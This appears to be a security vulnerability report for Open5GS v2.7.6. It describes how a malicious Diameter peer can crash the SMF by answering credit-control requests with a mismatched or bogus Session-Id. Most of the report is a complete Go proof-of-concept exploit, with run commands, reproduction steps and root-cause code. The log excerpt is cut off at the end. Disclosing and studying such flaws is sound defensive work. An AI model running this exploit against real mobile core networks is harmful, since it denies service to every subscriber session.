| Descrição | ### Open5GS Release, Revision, or Tag
v2.7.6
### Description
`smf_gx_cca_cb()`, `smf_gy_cca_cb()`, and `smf_s6b` CCA callbacks use
`ogs_assert(new == 0)` after `fd_msg_sess_get()` to verify the session
already exists. If a malicious Diameter peer replies with a CCA containing
an unknown or mismatched `Session-Id`, `fd_msg_sess_get()` returns `new=1`
(new session), triggering `ogs_assert()` → `ogs_abort()` → **SMF process crash**.
A single malformed CCA message is sufficient to crash the SMF, denying
service to all UE sessions.
### Steps to reproduce
1. Start the DoS PoC
```bash
go mod tidy
go run . \
-listen 10.44.44.9:3868 \
-cer-host pcrf.localdomain \
-cer-realm localdomain \
-mode bogus-session
```
PoC
```go
package main
import (
"flag"
"fmt"
"log"
"time"
"github.com/fiorix/go-diameter/v4/diam"
"github.com/fiorix/go-diameter/v4/diam/avp"
"github.com/fiorix/go-diameter/v4/diam/datatype"
"github.com/fiorix/go-diameter/v4/diam/dict"
"github.com/fiorix/go-diameter/v4/diam/sm"
)
// Gx Application ID (3GPP TS 29.212)
const gxApplicationID uint32 = 16777238
// Gy Application ID (DCCA, RFC 4006)
const gyApplicationID uint32 = 4
// 3GPP Vendor ID
const vendor3GPP uint32 = 10415
var (
flagListen = flag.String("listen", "127.0.0.9:3868", "Listen address (replace legitimate PCRF/OCS)")
flagCERHost = flag.String("cer-host", "pcrf.localdomain", "Origin-Host for CER/CEA handshake (must match ConnectPeer)")
flagCERRealm = flag.String("cer-realm", "localdomain", "Origin-Realm for CER/CEA handshake")
flagMode = flag.String("mode", "bogus-session", "DoS mode: bogus-session | cross-app")
)
func main() {
flag.Parse()
log.SetFlags(log.Ltime | log.Lmicroseconds)
log.Println("========================================")
log.Println(" PoC: SMF CCA Session Assertion DoS")
log.Println(" Vulnerability: ogs_assert(new == 0)")
log.Println(" Affected files:")
log.Println(" - src/smf/gx-path.c:779")
log.Println(" - src/smf/gy-path.c:1009")
log.Println(" - src/smf/s6b-path.c:390, 733")
log.Println("========================================")
log.Printf("[*] Listen address : %s", *flagListen)
log.Printf("[*] CER/CEA Identity: %s / %s", *flagCERHost, *flagCERRealm)
log.Printf("[*] DoS mode : %s", *flagMode)
settings := &sm.Settings{
OriginHost: datatype.DiameterIdentity(*flagCERHost),
OriginRealm: datatype.DiameterIdentity(*flagCERRealm),
VendorID: datatype.Unsigned32(vendor3GPP),
ProductName: datatype.UTF8String("dos-poc"),
OriginStateID: datatype.Unsigned32(uint32(time.Now().Unix())),
FirmwareRevision: datatype.Unsigned32(1),
}
mux := sm.New(settings)
mux.HandleFunc("CCR", handleCCR)
mux.HandleFunc("ALL", func(c diam.Conn, m *diam.Message) {
if m.Header.CommandCode != diam.CreditControl {
log.Printf("[~] Received %s (cmd=%d) from %s — ignoring",
cmdName(m), m.Header.CommandCode, c.RemoteAddr())
}
})
log.Printf("[*] Waiting for SMF to connect on %s ...", *flagListen)
if err := diam.ListenAndServe(*flagListen, mux, dict.Default); err != nil {
log.Fatalf("[-] ListenAndServe failed: %v", err)
}
}
func handleCCR(c diam.Conn, m *diam.Message) {
appID := m.Header.ApplicationID
sessionID := extractUTF8(m, avp.SessionID, 0)
ccRequestType := extractUint32(m, avp.CCRequestType, 0)
ccRequestNumber := extractUint32(m, avp.CCRequestNumber, 0)
log.Println()
log.Println("[+] ============================================")
log.Printf("[+] CCR received from SMF (%s)", c.RemoteAddr())
log.Printf("[+] ApplicationId : %d (%s)", appID, appName(appID))
log.Printf("[+] Session-Id : %s", sessionID)
log.Printf("[+] CC-Request-Type : %d (%s)", ccRequestType, ccRequestTypeName(ccRequestType))
mode := *flagMode
switch mode {
case "bogus-session":
// Send CCA with a fabricated Session-Id that doesn't match any
// existing session in the SMF. This causes fd_msg_sess_get() to
// return new=1, triggering ogs_assert(new == 0) → abort().
sendBogusSessionCCA(c, m, appID, ccRequestType, ccRequestNumber)
case "cross-app":
// Send CCA with Gx ApplicationId in response to a Gy CCR (or vice versa).
// The session lookup in the wrong application's callback fails
// with new=1, triggering the same assertion.
sendCrossAppCCA(c, m, appID, sessionID, ccRequestType, ccRequestNumber)
default:
log.Fatalf("[-] Unknown mode: %s", mode)
}
}
// sendBogusSessionCCA replies with a CCA containing a fabricated Session-Id.
// The SMF's fd_msg_sess_get() will not find this session, returning new=1.
// gx-path.c:779 / gy-path.c:1009: ogs_assert(new == 0) → abort()
func sendBogusSessionCCA(c diam.Conn, m *diam.Message, appID, ccRequestType, ccRequestNumber uint32) {
bogusSessionID := fmt.Sprintf("bogus.attacker.com;%d;999;app_dos", time.Now().Unix())
cca := m.Answer(2001)
// Insert fabricated Session-Id as first AVP
cca.InsertAVP(diam.NewAVP(avp.SessionID, avp.Mbit, 0,
datatype.UTF8String(bogusSessionID)))
cca.NewAVP(avp.OriginHost, avp.Mbit, 0,
datatype.DiameterIdentity(*flagCERHost))
cca.NewAVP(avp.OriginRealm, avp.Mbit, 0,
datatype.DiameterIdentity(*flagCERRealm))
cca.NewAVP(avp.AuthApplicationID, avp.Mbit, 0,
datatype.Unsigned32(appID))
cca.NewAVP(avp.CCRequestType, avp.Mbit, 0,
datatype.Enumerated(ccRequestType))
cca.NewAVP(avp.CCRequestNumber, avp.Mbit, 0,
datatype.Unsigned32(ccRequestNumber))
if _, err := cca.WriteTo(c); err != nil {
log.Printf("[-] Failed to send CCA: %v", err)
return
}
log.Println("[!] ----- DoS CCA SENT (bogus-session) -----")
log.Printf("[!] Bogus Session-Id: %s", bogusSessionID)
log.Println("[!] SMF will call fd_msg_sess_get() → new=1")
log.Println("[!] ogs_assert(new == 0) → ogs_abort() → SMF CRASH")
log.Println("[+] ============================================")
}
// sendCrossAppCCA replies to all CCRs with the same CCA (including Gx AVPs).
// When a Gy CCR gets a Gx-style CCA, the Gy callback's session lookup
// fails because the Session-Id belongs to a different application context.
func sendCrossAppCCA(c diam.Conn, m *diam.Message, appID uint32, sessionID string, ccRequestType, ccRequestNumber uint32) {
// Always respond with Gx ApplicationId, regardless of what was requested
cca := m.Answer(2001)
cca.InsertAVP(diam.NewAVP(avp.SessionID, avp.Mbit, 0,
datatype.UTF8String(sessionID)))
cca.NewAVP(avp.OriginHost, avp.Mbit, 0,
datatype.DiameterIdentity(*flagCERHost))
cca.NewAVP(avp.OriginRealm, avp.Mbit, 0,
datatype.DiameterIdentity(*flagCERRealm))
// Force Gx ApplicationId regardless of original request
cca.NewAVP(avp.AuthApplicationID, avp.Mbit, 0,
datatype.Unsigned32(gxApplicationID))
cca.NewAVP(avp.CCRequestType, avp.Mbit, 0,
datatype.Enumerated(ccRequestType))
cca.NewAVP(avp.CCRequestNumber, avp.Mbit, 0,
datatype.Unsigned32(ccRequestNumber))
if _, err := cca.WriteTo(c); err != nil {
log.Printf("[-] Failed to send CCA: %v", err)
return
}
log.Println("[!] ----- DoS CCA SENT (cross-app) -----")
log.Printf("[!] Original CCR AppId: %d (%s)", appID, appName(appID))
log.Printf("[!] CCA AppId forced : %d (Gx)", gxApplicationID)
log.Println("[!] Session mismatch in callback → ogs_assert(new==0) → SMF CRASH")
log.Println("[+] ============================================")
}
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
func extractUTF8(m *diam.Message, code uint32, vendorID uint32) string {
a, err := m.FindAVP(code, vendorID)
if err != nil || a == nil {
return "(not found)"
}
return string(a.Data.Serialize())
}
func extractUint32(m *diam.Message, code uint32, vendorID uint32) uint32 {
a, err := m.FindAVP(code, vendorID)
if err != nil || a == nil {
return 0
}
switch v := a.Data.(type) {
case datatype.Unsigned32:
return uint32(v)
case datatype.Enumerated:
return uint32(v)
case datatype.Integer32:
return uint32(v)
default:
return 0
}
}
func appName(id uint32) string {
switch id {
case gxApplicationID:
return "Gx"
case gyApplicationID:
return "Gy"
default:
return "unknown"
}
}
func ccRequestTypeName(t uint32) string {
switch t {
case 1:
return "INITIAL_REQUEST"
case 2:
return "UPDATE_REQUEST"
case 3:
return "TERMINATION_REQUEST"
case 4:
return "EVENT_REQUEST"
default:
return "UNKNOWN"
}
}
func cmdName(m *diam.Message) string {
if m.Header.CommandFlags&diam.RequestFlag != 0 {
return "Request"
}
return "Answer"
}
```
The PoC impersonates `pcrf.localdomain` for the CER/CEA handshake,
then replies to every CCR with a CCA containing a fabricated Session-Id
(`bogus.attacker.com;...;app_dos`).
2. trigger UE attach
Start eNB + UE to trigger attach
3. SMF crashes immediately
The SMF process terminates upon receiving the malicious CCA.
### Root Cause
```c
// gx-path.c:777-779 (same pattern in gy-path.c:1007-1009 and s6b-path.c)
ret = fd_msg_sess_get(fd_g_config->cnf_dict, *msg, &session, &new);
ogs_assert(ret == 0);
ogs_assert(new == 0); // <-- crash if session not found
```
`ogs_assert()` is defined as:
```c
// lib/core/ogs-log.h:112-119
#define ogs_assert(expr) \
do { \
if (ogs_likely(expr)) ; \
else { \
ogs_fatal("%s: Assertion `%s' failed.", OGS_FUNC, #expr); \
ogs_abort(); \
} \
} while(0)
```
When `new != 0` (session not found), `ogs_abort()` calls `abort()`,
killing the SMF process immediately. This should be a graceful error
(log + discard message), not a hard crash.
### Logs
```shell
03/04 04:01:31.837: [diam] ERROR: 'Credit-Control-Answer'
Ve |
|---|